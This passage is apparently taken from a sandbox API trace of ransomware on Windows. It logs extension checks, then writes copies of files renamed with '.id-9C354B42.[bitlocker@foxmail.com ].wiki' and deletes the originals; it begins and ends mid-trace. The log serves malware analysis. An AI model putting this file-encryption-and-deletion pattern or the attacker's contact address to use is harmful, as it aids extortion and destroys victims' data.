[0057.170] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.170] lstrlenW (lpString=".xls") returned 4 [0057.170] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.170] lstrlenW (lpString=".xlsx") returned 5 [0057.170] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0057.170] lstrlenW (lpString=".ppt") returned 4 [0057.170] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.170] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.170] lstrlenW (lpString=".zip") returned 4 [0057.170] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.170] lstrlenW (lpString=".rar") returned 4 [0057.170] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.170] lstrlenW (lpString=".bz2") returned 4 [0057.170] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.170] lstrlenW (lpString=".7z") returned 3 [0057.170] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.170] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.170] lstrlenW (lpString=".dbf") returned 4 [0057.170] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.170] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.170] lstrlenW (lpString=".1cd") returned 4 [0057.170] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.170] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.170] lstrlenW (lpString=".jpg") returned 4 [0057.170] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.170] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0057.170] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0057.170] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0057.286] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5025) returned 1 [0057.286] CloseHandle (hObject=0x194) returned 1 [0057.286] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0057.286] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.286] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.286] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.286] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.287] lstrlenW (lpString=".doc") returned 4 [0057.287] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.287] lstrlenW (lpString=".docx") returned 5 [0057.287] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0057.287] lstrlenW (lpString=".pdf") returned 4 [0057.287] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.287] lstrlenW (lpString=".xls") returned 4 [0057.287] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.287] lstrlenW (lpString=".xlsx") returned 5 [0057.287] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0057.287] lstrlenW (lpString=".ppt") returned 4 [0057.287] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.287] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.287] lstrlenW (lpString=".zip") returned 4 [0057.287] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.287] lstrlenW (lpString=".rar") returned 4 [0057.287] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.287] lstrlenW (lpString=".bz2") returned 4 [0057.287] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.287] lstrlenW (lpString=".7z") returned 3 [0057.287] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.287] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.287] lstrlenW (lpString=".dbf") returned 4 [0057.287] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.287] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.287] lstrlenW (lpString=".1cd") returned 4 [0057.287] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.287] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.287] lstrlenW (lpString=".jpg") returned 4 [0057.287] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.287] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.287] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.287] lstrlenW (lpString=".doc") returned 4 [0057.287] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.288] lstrlenW (lpString=".docx") returned 5 [0057.288] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0057.288] lstrlenW (lpString=".pdf") returned 4 [0057.288] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.288] lstrlenW (lpString=".xls") returned 4 [0057.288] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.288] lstrlenW (lpString=".xlsx") returned 5 [0057.288] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0057.288] lstrlenW (lpString=".ppt") returned 4 [0057.288] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.288] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.288] lstrlenW (lpString=".zip") returned 4 [0057.288] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.288] lstrlenW (lpString=".rar") returned 4 [0057.288] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.288] lstrlenW (lpString=".bz2") returned 4 [0057.288] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.288] lstrlenW (lpString=".7z") returned 3 [0057.288] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.288] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.288] lstrlenW (lpString=".dbf") returned 4 [0057.288] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.288] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.288] lstrlenW (lpString=".1cd") returned 4 [0057.288] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.288] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0057.288] lstrlenW (lpString=".jpg") returned 4 [0057.288] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.288] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0057.288] lstrlenW (lpString="ParentMenuButtonIconSubpict.png") returned 31 [0057.288] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.173] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3055) returned 1 [0058.173] CloseHandle (hObject=0x1fc) returned 1 [0058.173] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png")) returned 0x20 [0058.173] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.356] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.362] lstrlenW (lpString=".doc") returned 4 [0058.363] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.364] lstrlenW (lpString=".docx") returned 5 [0058.368] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0058.376] lstrlenW (lpString=".pdf") returned 4 [0058.376] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.377] lstrlenW (lpString=".xls") returned 4 [0058.378] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.379] lstrlenW (lpString=".xlsx") returned 5 [0058.380] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0058.382] lstrlenW (lpString=".ppt") returned 4 [0058.382] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.386] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.386] lstrlenW (lpString=".zip") returned 4 [0058.387] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.387] lstrlenW (lpString=".rar") returned 4 [0058.391] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.391] lstrlenW (lpString=".bz2") returned 4 [0058.392] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.393] lstrlenW (lpString=".7z") returned 3 [0058.394] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.396] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.397] lstrlenW (lpString=".dbf") returned 4 [0058.397] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.400] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.400] lstrlenW (lpString=".1cd") returned 4 [0058.402] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.402] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.405] lstrlenW (lpString=".jpg") returned 4 [0058.406] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.410] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.419] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.420] lstrlenW (lpString=".doc") returned 4 [0058.420] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.420] lstrlenW (lpString=".docx") returned 5 [0058.420] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0058.420] lstrlenW (lpString=".pdf") returned 4 [0058.420] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.420] lstrlenW (lpString=".xls") returned 4 [0058.420] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.420] lstrlenW (lpString=".xlsx") returned 5 [0058.420] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0058.420] lstrlenW (lpString=".ppt") returned 4 [0058.420] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.420] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.420] lstrlenW (lpString=".zip") returned 4 [0058.420] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.420] lstrlenW (lpString=".rar") returned 4 [0058.420] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.420] lstrlenW (lpString=".bz2") returned 4 [0058.420] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.420] lstrlenW (lpString=".7z") returned 3 [0058.420] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.420] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.420] lstrlenW (lpString=".dbf") returned 4 [0058.420] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.420] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.420] lstrlenW (lpString=".1cd") returned 4 [0058.421] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.421] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0058.421] lstrlenW (lpString=".jpg") returned 4 [0058.421] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.421] lstrcmpiW (lpString1=".xsl", lpString2=".wiki") returned 1 [0058.421] lstrlenW (lpString="as90.xsl") returned 8 [0058.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.188] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=18738) returned 1 [0060.188] CloseHandle (hObject=0x1f0) returned 1 [0060.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0060.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.189] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.189] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.190] GetLastError () returned 0x0 [0060.190] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x4932, lpOverlapped=0x0) returned 1 [0060.192] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0060.194] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.194] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0060.194] SetEndOfFile (hFile=0x1e8) returned 1 [0060.194] CloseHandle (hObject=0x1e8) returned 1 [0060.194] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.195] SetEndOfFile (hFile=0x1f0) returned 1 [0060.196] CloseHandle (hObject=0x1f0) returned 1 [0060.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0060.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.196] lstrlenW (lpString=".doc") returned 4 [0060.196] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.196] lstrlenW (lpString=".docx") returned 5 [0060.196] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0060.196] lstrlenW (lpString=".pdf") returned 4 [0060.196] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.196] lstrlenW (lpString=".xls") returned 4 [0060.196] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.196] lstrlenW (lpString=".xlsx") returned 5 [0060.196] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0060.196] lstrlenW (lpString=".ppt") returned 4 [0060.196] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.197] lstrlenW (lpString=".zip") returned 4 [0060.197] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.197] lstrlenW (lpString=".rar") returned 4 [0060.197] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString=".bz2") returned 4 [0060.197] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString=".7z") returned 3 [0060.197] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.197] lstrlenW (lpString=".dbf") returned 4 [0060.197] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.197] lstrlenW (lpString=".1cd") returned 4 [0060.197] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.197] lstrlenW (lpString=".jpg") returned 4 [0060.197] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.197] lstrlenW (lpString=".doc") returned 4 [0060.197] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString=".docx") returned 5 [0060.197] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0060.197] lstrlenW (lpString=".pdf") returned 4 [0060.197] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString=".xls") returned 4 [0060.197] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString=".xlsx") returned 5 [0060.197] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0060.197] lstrlenW (lpString=".ppt") returned 4 [0060.197] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.197] lstrlenW (lpString=".zip") returned 4 [0060.197] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.198] lstrlenW (lpString=".rar") returned 4 [0060.198] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.198] lstrlenW (lpString=".bz2") returned 4 [0060.198] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.198] lstrlenW (lpString=".7z") returned 3 [0060.198] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.198] lstrlenW (lpString=".dbf") returned 4 [0060.198] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.198] lstrlenW (lpString=".1cd") returned 4 [0060.198] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0060.198] lstrlenW (lpString=".jpg") returned 4 [0060.198] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.198] lstrcmpiW (lpString1=".xsl", lpString2=".wiki") returned 1 [0060.198] lstrlenW (lpString="sql70.xsl") returned 9 [0060.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.199] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=32146) returned 1 [0060.199] CloseHandle (hObject=0x1f0) returned 1 [0060.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0060.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.200] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.200] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.200] GetLastError () returned 0x0 [0060.200] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x7d92, lpOverlapped=0x0) returned 1 [0060.202] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0060.203] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.204] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 